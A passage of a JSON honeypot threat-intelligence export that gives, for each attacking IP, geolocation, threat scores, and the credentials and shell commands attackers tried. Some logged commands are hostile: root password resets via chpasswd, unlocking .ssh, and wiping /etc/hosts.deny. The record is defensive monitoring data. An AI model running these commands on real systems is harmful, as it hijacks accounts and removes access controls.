        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.1,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 513,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T08:01:56.101000+00:00",
        "last_seen_30d": "2026-04-10T05:23:23.100000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 387,
        "Suricata": 126
      }
    },
    "217.154.38.181": {
      "attack_count": 363,
      "first_seen": "2026-04-04T09:10:30.421Z",
      "last_seen": "2026-04-27T21:29:20.106Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ftpuser",
        "oracle",
        "sshvpn",
        "common",
        "demouser",
        "dev",
        "ftptest",
        "giorgio",
        "leonardo",
        "raj",
        "steven",
        "syncthing",
        "testtest",
        "testupload",
        "ubuntu",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@@!",
        "$oauthtoken",
        "1234",
        "123456",
        "123qweqaz11",
        "7x24.cn",
        "Abcd1234.",
        "Dev!123",
        "Oracle15!",
        "P@ssw0rd!",
        "Passwrd01!",
        "QA2ws3ed#",
        "Qazwsx111!@#",
        "Qazwsx111111..",
        "Root6666@",
        "Welcome@123",
        "ZAQ!2wsx2025!@#",
        "abazari"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"P@ssw0rd!\\nThkcLz4rxvWC\\nThkcLz4rxvWC\\n\"|passwd",
        "echo \"root\\nTiMPMXHICOTx\\nTiMPMXHICOTx\\n\"|passwd",
        "echo -e \"P@ssw0rd!\\nThkcLz4rxvWC\\nThkcLz4rxvWC\"|passwd|bash",
        "echo -e \"root\\nTiMPMXHICOTx\\nTiMPMXHICOTx\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 52.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.8,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 481,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T09:10:30.421000+00:00",
        "last_seen_30d": "2026-04-27T21:30:29.540000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 363,
        "Suricata": 118
      }
    },
    "211.178.247.182": {
      "attack_count": 341,
      "first_seen": "2026-04-25T09:23:51.571Z",
      "last_seen": "2026-04-25T10:30:13.799Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude",
        "seekcy",
        "ali",
        "ftp_test",
        "ftpuser",
        "n8n",
        "nifi",
        "pc",
        "postgres",
        "server",
        "stack",
        "sysadmin",
        "test",
        "test2",
        "testuser",
        "user001",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "test123",
        "123456",
        "ABcd123456",
        "Admin@storage",
        "Ali19",
        "Claude!",
        "Joysuch@Locate2020",
        "Master2026",
        "Postgres@",
        "QAZ123wsx456",
        "Server10",
        "kk",
        "n8n13",
        "nifi",
        "password",
        "pc123",
        "pf123456",
        "qwe123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Claude!\\nFGW7CPYDbpLU\\nFGW7CPYDbpLU\\n\"|passwd",
        "echo \"Joysuch@Locate2020\\n5V0S3up53QZP\\n5V0S3up53QZP\\n\"|passwd",
        "echo \"root:o8Ccahwc570O\"|chpasswd|bash",
        "echo -e \"Claude!\\nFGW7CPYDbpLU\\nFGW7CPYDbpLU\"|passwd|bash",
        "echo -e \"Joysuch@Locate2020\\n5V0S3up53QZP\\n5V0S3up53QZP\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yeonje-gu",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 32.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 413,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T09:23:51.571000+00:00",
        "last_seen_30d": "2026-04-25T10:31:21.856000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 341,
        "Suricata": 72
      }
    },
    "109.206.241.199": {
      "attack_count": 331,
      "first_seen": "2026-04-20T21:18:22.489Z",
      "last_seen": "2026-04-20T21:52:30.065Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deploy",
        "vikas",
        "claude",
        "db_user",
        "devops",
        "git",
        "luz",
        "onkar",
        "oracle",
        "plexuser",
        "postgres",
        "test",
        "test01",
        "ubuntu",
        "vpn",
        "webdeploy"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!Q@W#E4r5t6y",
        "123",
        "1q@",
        "7777",
        "Claude30!",
        "Dq@123456",
        "Oracle24",
        "Qazwsx321.",
        "Qwerty2026",
        "aaQQ112233",
        "ab123456",
        "db_user",
        "deploy123456789",
        "devops@2025",
        "luz",
        "onkar123",
        "password123456",
        "plexuser"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"deploy123456789\\nHAZAZC1vKb2A\\nHAZAZC1vKb2A\\n\"|passwd",
        "echo \"root:kK8UA9FLTtD8\"|chpasswd|bash",
        "echo \"vikas@123\\npoNleoPZ910y\\npoNleoPZ910y\\n\"|passwd",
        "echo -e \"deploy123456789\\nHAZAZC1vKb2A\\nHAZAZC1vKb2A\"|passwd|bash",
        "echo -e \"vikas@123\\npoNleoPZ910y\\npoNleoPZ910y\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Estonia",
      "country_code": "EE",
      "city": "Tallinn",
      "asn": 41745,
      "as_org": "Baykov Ilya Sergeevich",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 400,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T21:18:22.489000+00:00",
        "last_seen_30d": "2026-04-20T21:53:36.940000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 331,
        "Suricata": 69
      }
    },
    "165.154.231.236": {
      "attack_count": 330,
      "first_seen": "2026-04-19T10:51:54.576Z",
      "last_seen": "2026-04-19T11:33:24.918Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "user",
        "postgres",
        "ubuntu",
        "adc",
        "amir",
        "elastic",
        "ftpuser",
        "oracle",
        "steam",
        "user1",
        "z"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "1234ABCD",
        "123qwe",
        "123qwe!@#",
        "1qaz!QAZ@123",
        "Airtel@123",
        "Ba123456",
        "Oracle123!",
        "Root2021$",
        "Wz123456",
        "XXxx112233",
        "a",
        "a123456+",
        "a12345679",
        "adc123",
        "admin1234#",
        "amir123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"asdf\\nhcbKGYK4cDK5\\nhcbKGYK4cDK5\\n\"|passwd",
        "echo \"root:UvH9tilkFfB5\"|chpasswd|bash",
        "echo \"root:ya3Be1kCWAm8\"|chpasswd|bash",
        "echo -e \"asdf\\nhcbKGYK4cDK5\\nhcbKGYK4cDK5\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 142002,
      "as_org": "Scloud Pte Ltd",
      "threat_score": 24.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 400,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T10:51:54.576000+00:00",
        "last_seen_30d": "2026-04-19T11:34:29.601000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 330,
        "Suricata": 70
      }
    },
    "73.170.63.58": {
      "attack_count": 279,
      "first_seen": "2026-04-26T16:59:44.971Z",
      "last_seen": "2026-04-26T17:22:13.231Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!Zx",
        "!qwe1234",
        "111119",
        "123456!@#",
        "123zxc123",
        "1Pass12",
        "1q2w3e4r5T",
        "1qaz@WSX123",
        "Canada@2026!",
        "F1",
        "a@4",
        "admin#10",
        "asdfghjkl;'\\",
        "bronze2",
        "hik12345"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:ZJYMZKa86rre\"|chpasswd|bash",
        "echo \"root:hUUW3OZmGi7D\"|chpasswd|bash",
        "echo \"root:naqoMyYNAEtV\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Francisco",
      "asn": 7922,
      "as_org": "Comcast Cable Communications, LLC",
      "threat_score": 32.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 327,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T16:59:44.971000+00:00",
        "last_seen_30d": "2026-04-26T17:23:21.521000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 279,
        "Suricata": 48
      }
    },
    "103.13.206.122": {
      "attack_count": 263,
      "first_seen": "2026-04-03T19:56:29.369Z",
      "last_seen": "2026-04-03T21:25:35.200Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "metabase",
        "minecraft",
        "ubuntu",
        "akshay",
        "deploy",
        "ftpuser2",
        "git-admin",
        "labuser",
        "odoo",
        "oracle",
        "steam",
        "test"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "10202640",
        "102030",
        "12345678",
        "@123456",
        "Aa1234567",
        "Odoo06",
        "Qazwsx1234567@123",
        "Qq@123456789",
        "Qwer!@#$",
        "Root01!!",
        "Sm@123456",
        "ZXCasdqwe123",
        "aa123456.",
        "aaCC123",
        "akshay",
        "deploy@123",
        "git-admin",
        "labuser"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"metabase\\n0i7CyE6VPWKd\\n0i7CyE6VPWKd\\n\"|passwd",
        "echo \"mine\\n6p8pBbkjNKBt\\n6p8pBbkjNKBt\\n\"|passwd",
        "echo -e \"metabase\\n0i7CyE6VPWKd\\n0i7CyE6VPWKd\"|passwd|bash",
        "echo -e \"mine\\n6p8pBbkjNKBt\\n6p8pBbkjNKBt\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 334,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T19:56:29.369000+00:00",
        "last_seen_30d": "2026-04-03T21:26:40.152000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 71
      }
    },
    "213.230.127.104": {
      "attack_count": 263,
      "first_seen": "2026-04-08T09:53:08.807Z",
      "last_seen": "2026-04-08T10:34:27.973Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "cat",
        "teste1",
        "daniel",
        "deploy",
        "jenkins",
        "operador",
        "oracle",
        "pascal",
        "server",
        "steam",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "Admin2025..",
        "Default123",
        "Guest123",
        "Kv123456",
        "M3gaP33!",
        "Manager@123",
        "Qazwsx0000",
        "Qazwsx1111111!!",
        "Qazwsx2025!",
        "Qwertyu123",
        "Server123456",
        "Sy@123456",
        "Vpn12!",
        "docker",
        "operador",
        "oracle27!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\ncd4ZPtn8UWaT\\ncd4ZPtn8UWaT\\n\"|passwd",
        "echo \"teste1\\n3tONfuGgUwPE\\n3tONfuGgUwPE\\n\"|passwd",
        "echo -e \"123456\\ncd4ZPtn8UWaT\\ncd4ZPtn8UWaT\"|passwd|bash",
        "echo -e \"teste1\\n3tONfuGgUwPE\\n3tONfuGgUwPE\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 8193,
      "as_org": "Uzbektelekom Joint Stock Company",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 330,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T09:53:08.807000+00:00",
        "last_seen_30d": "2026-04-08T10:35:30.423000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 67
      }
    },
    "219.92.11.46": {
      "attack_count": 252,
      "first_seen": "2026-04-17T10:18:36.097Z",
      "last_seen": "2026-04-17T11:04:44.933Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "steam",
        "oracle",
        "345gs5662d34",
        "deploy",
        "deployer",
        "fedora",
        "ftpuser",
        "kk",
        "n8n",
        "teamspeak",
        "test1",
        "ubuntu",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "!QAZ2wsx!",
        ".",
        "123456",
        "123456!",
        "123456789",
        "1234567890",
        "345gs5662d34",
        "Haslo-123",
        "Huawei12",
        "Oracle!@#$",
        "Vpn13!",
        "ZAQ!2wsx!!",
        "aaCC1234",
        "admin@12345",
        "fedora",
        "hello",
        "n8n!2025",
        "qazwsx1111@@",
        "qqAA123123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Oracle!@#$\\nRsimcS9J9BKN\\nRsimcS9J9BKN\\n\"|passwd",
        "echo \"root:ImkjiJlzvgtP\"|chpasswd|bash",
        "echo -e \"Oracle!@#$\\nRsimcS9J9BKN\\nRsimcS9J9BKN\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Kuala Lumpur",
      "asn": 4788,
      "as_org": "TM TECHNOLOGY SERVICES SDN. BHD.",
      "threat_score": 21.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 315,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T10:18:36.097000+00:00",
        "last_seen_30d": "2026-04-17T11:05:53.100000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 252,
        "Suricata": 63
      }
    },
    "27.79.1.142": {
      "attack_count": 252,
      "first_seen": "2026-04-12T19:18:47.676Z",
      "last_seen": "2026-04-12T19:31:51.677Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "1234",
        "admian",
        "anton",
        "belkinstyle",
        "bin",
        "btf",
        "cf1c22",
        "config",
        "ftpuser",
        "guest",
        "guest1",
        "joggler",
        "kelly",
        "nikita",
        "open",
        "plex",
        "rebecca",
        "software"
      ],
      "passwords_attempted": [
        "1234",
        "admin123",
        "password",
        "0l0ctyQh243O63uD",
        "1111",
        "12345",
        "12345678",
        "321start",
        "72ca06",
        "@",
        "OkwKcECs8qJP2Z",
        "P@ssw0rd",
        "abc123",
        "admin",
        "admin@123",
        "alpine",
        "andrew",
        "anton",
        "asteriskftp",
        "bin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 16.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 362,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T19:18:47.676000+00:00",
        "last_seen_30d": "2026-04-12T19:32:53.719000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 252,
        "Suricata": 110
      }
    },
    "103.171.85.124": {
      "attack_count": 236,
      "first_seen": "2026-04-02T22:22:33.791Z",
      "last_seen": "2026-04-02T23:45:34.349Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678.",
        "123456Cc",
        "123qazWSX",
        "Admin!!!",
        "Athena2026",
        "Newpassword123!",
        "Pa$$w0rd1qaz",
        "Sy@123456",
        "Tr123456",
        "Wd123456@",
        "admin@123.",
        "apache123",
        "code",
        "jules",
        "letmein!",
        "longlong",
        "lucanu323",
        "qazwsxedc123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:NUuklqspEz70\"|chpasswd|bash",
        "echo \"root:eoyLYNA7Maa9\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 294,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T22:22:33.791000+00:00",
        "last_seen_30d": "2026-04-02T23:46:42.591000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 58
      }
    },
    "112.78.10.55": {
      "attack_count": 236,
      "first_seen": "2026-04-02T06:33:12.196Z",
      "last_seen": "2026-04-02T07:45:35.086Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!23QweAsd",
        "111@Abcd",
        "123P@ssw0rd",
        "ANGELIQUE",
        "Abc123++",
        "Info2025",
        "Pa$$vord",
        "Pa$$w0rd@12345",
        "Password@1!",
        "Server123!@",
        "abcd123456789",
        "backdoor",
        "easy123",
        "oracle1234",
        "p4$sword123",
        "regina1",
        "samanta",
        "tang"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
